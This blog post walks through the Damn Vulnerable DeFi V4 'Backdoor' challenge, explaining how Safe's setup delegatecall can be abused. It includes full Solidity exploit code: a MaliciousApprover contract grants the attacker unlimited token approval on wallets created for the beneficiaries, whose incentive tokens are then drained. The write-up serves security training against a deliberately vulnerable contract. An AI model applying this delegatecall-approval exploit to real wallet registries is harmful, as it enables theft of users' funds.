Challenge 11: Backdoor, Damn vulnerable defi V4 lazy solutions series

Siddharth PatelSiddharth Patel
5 min read

Why Lazy?

I’ll strongly assume that you’ve gone through challenge once or more time and you’ve some understandings of the challenge contracts flows. So, I’ll potentially will go towards solution directly.

Problem statement:

There’s Safe wallets registry contract which incentivize new registered wallets by giving them 10 DVT tokens. Only registered beneficiaries can register wallets and claim incentive amount which are Alice, Bob, Charlie and David.

There’s some vulnerability found in registry contract so will have to rescue all funds and deposit them into recovery account.

Smart Contracts :

WalletRegistry:

We’ve given only 1 smart contract WalletRegistry.sol in the challenge.The main objective of this contract is to incentivize users(only beneficiaries) with 10 DVT tokens once they create Safe wallet.

It has function named proxyCreated which handles all necessary checks and is responsible of provision of incentive funds.

Necessary checks like,

  • function can be called only by walletFactory contract

  • provided singleton(Safe implementation contract) in parameter must be the same as what WalletRegistry is already using.

  • initializer passed in parameter’s first 4 bytes must be equal to Safe.setup.selector. In simple terms it promises proxyCreated function that setup is already done. we’ve to dig deeper into SafeProxyFactory contract to see how it’s working as it promises.

  • walletOwner of that newly created wallet(safeProxy) must be one of the beneficiaries.

proxyCreated is external function but it can only called by SafeProxyFactory. you’ll get how these all smart contract works together once you go through their code (or by just looking at following diagram😉).

Safe:

Safe is a multi signature wallet with support for confirmations using signed messages based on EIP-712. we ain’t need to go too deep in every functionality of Safe contracts but it’s essential to know a little bit to understand how system works all together.

SafeProxy:

SafeProxy contract is proxy contract as it’s name suggest, It can also be referred as Wallet in our Registry contract’s context. it has it’s implementation Safe contract which is being called singleton in their contract.

SafeProxyFactory:

SafeProxyFactory is the factory contract to create SafeProxy contracts. It’s responsible for creating SafeProxy(Wallets). It has 3 functions to create SafeProxies(Wallets) named createProxyWithNonce, createChainSpecificProxyWithNonce, createProxyWithCallback from which 1 we are going to use and important to us createProxyWithCallback.

how do I know that it’s important and we’ll use that function only to create wallet?

Simple, we’ve given only 1 challenge specific contract WalletRegistry.sol , if you read it carefully then proxyCreated function in it which handles all fund related functionality has mentioned this createProxyWithCallback in comments.

The Vulnerability

Here vulnerable part here is, Safe contract’s setup function allows making delegateCall to any contract. which is so so so bad as Safe itself stores and handles all funds and exploiter can trick Safe by making setup function’s delegateCall to approve all of it funds.

To be exact, it’s setupModules function which makes delegateCall to unknown contract. setupModules is in ModuleManager, which is being called by setup.

setup function initializes the storage of the contract with various parameters, including:

  • A list of safe owners

  • The number of required confirmations for a Safe transaction

  • An optional contract address for delegate calls

  • Data for the delegate call

  • A fallback handler for calls to the contract, a payment token (0 for ETH or a specific token)

  • An amount of payment

  • The address that should receive the payment

This function serves as the foundational configuration step for the Safe contract, integrating the supplied parameters and payment choices to prepare it for secure multi-signature operations.

Pay attention to the highlighted elements in the list. In the setup procedure, they allow us to execute code on behalf of the Safe itself (delegate call). This presents an opportunity for us to leverage the “Modules” feature, enabling the creation of a potentially malicious contract and executing code on behalf of the newly created safe.

The Attack Strategy

  • Create a malicious contract (maliciousApprover) that approves all DVT tokens to the exploiter.

  • When setting up the wallet, provide data in the setup function's parameter to call this malicious contract.

  • At this point, the SafeProxy (wallet) won't have any DVT tokens.

  • Once the wallet receives 10 DVT Tokens as an incentive, we can transfer them to the exploiter's contract, as we've already approved the exploiter as a spender.

Solution

test/backdoor/BackdoorExploit.sol

// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

import {Safe} from "@safe-global/safe-smart-account/contracts/Safe.sol";
import {SafeProxyFactory} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxyFactory.sol";
import {SafeProxy} from "@safe-global/safe-smart-account/contracts/proxies/SafeProxy.sol";
import {DamnValuableToken} from "../../src/DamnValuableToken.sol";
import {WalletRegistry} from "../../src/backdoor/WalletRegistry.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";
import {console} from "forge-std/Test.sol";

contract BackdoorExploit {
    Safe singletonCopy;
    SafeProxyFactory walletFactory;
    DamnValuableToken token;
    WalletRegistry walletRegistry;
    address[] beneficiaries;

    address recovery;
    uint immutable AMOUNT_TOKENS_DISTRIBUTED;

    MaliciousApprover maliciousApprover;

    constructor(
        Safe _singletonCopy,
        SafeProxyFactory _walletFactory,
        DamnValuableToken _token,
        WalletRegistry walletRegistryAddress,
        address[] memory _beneficiaries,
        address recoveryAddress,
        uint amountTokensDistributed
    ) payable {
        singletonCopy = _singletonCopy;
        walletFactory = _walletFactory;
        token = _token;
        walletRegistry = walletRegistryAddress;
        beneficiaries = _beneficiaries;

        recovery = recoveryAddress;
        AMOUNT_TOKENS_DISTRIBUTED = amountTokensDistributed;

        maliciousApprover = new MaliciousApprover();
    }

    function attack() public {
        for (uint i = 0; i < beneficiaries.length; i++) {
            address newOwner = beneficiaries[i];

            address[] memory owners = new address[](1);
            owners[0] = newOwner;

            address maliciousTo = address(maliciousApprover);
            bytes memory maliciousData = abi.encodeCall(
                maliciousApprover.approveTokens,
                (token, address(this))
            );

            bytes memory initializer = abi.encodeCall(
                Safe.setup,
                (
                    owners,
                    1,
                    maliciousTo,
                    maliciousData,
                    address(0),
                    address(0),
                    0,
                    payable(address(0))
                )
            );

            SafeProxy proxy = walletFactory.createProxyWithCallback(
                address(singletonCopy),
                initializer,
                1,
                walletRegistry
            );

            token.transferFrom(
                address(proxy),
                address(this),
                token.balanceOf(address(proxy))
            );
        }

        token.transfer(recovery, AMOUNT_TOKENS_DISTRIBUTED);
    }
}

contract MaliciousApprover {
    function approveTokens(DamnValuableToken token, address spender) external {
        token.approve(spender, type(uint256).max);
    }
}

test/backdoor/Backdoor.t.sol


    /**
     * CODE YOUR SOLUTION HERE
     */
    function test_backdoor() public checkSolvedByPlayer {
        BackdoorExploit backdoorExploit = new BackdoorExploit(
            singletonCopy,
            walletFactory,
            token,
            walletRegistry,
            users,
            recovery,
            AMOUNT_TOKENS_DISTRIBUTED
        );

        backdoorExploit.attack();
    }

Let's see it in action,

forge test --mp test/backdoor/Backdoor.t.sol

Succeed!🔥💸

Incase if you need all solutions,

https://github.com/siddharth9903/damn-vulnerable-defi-v4-solutions

0
Subscribe to my newsletter

Read articles from Siddharth Patel directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Siddharth Patel
Siddharth Patel

I'm Siddharth Patel, a Full Stack Developer and Blockchain Engineer with a proven track record of spearheading innovative SaaS products and web3 development. My extensive portfolio spans across diverse sectors, from blockchain-based tokenized investment platforms to PoS software solutions for restaurants, and from decentralized finance (DeFi) initiatives to comprehensive analytics tools that harness big data for global stock trends. Let's connect and explore how we can innovate together.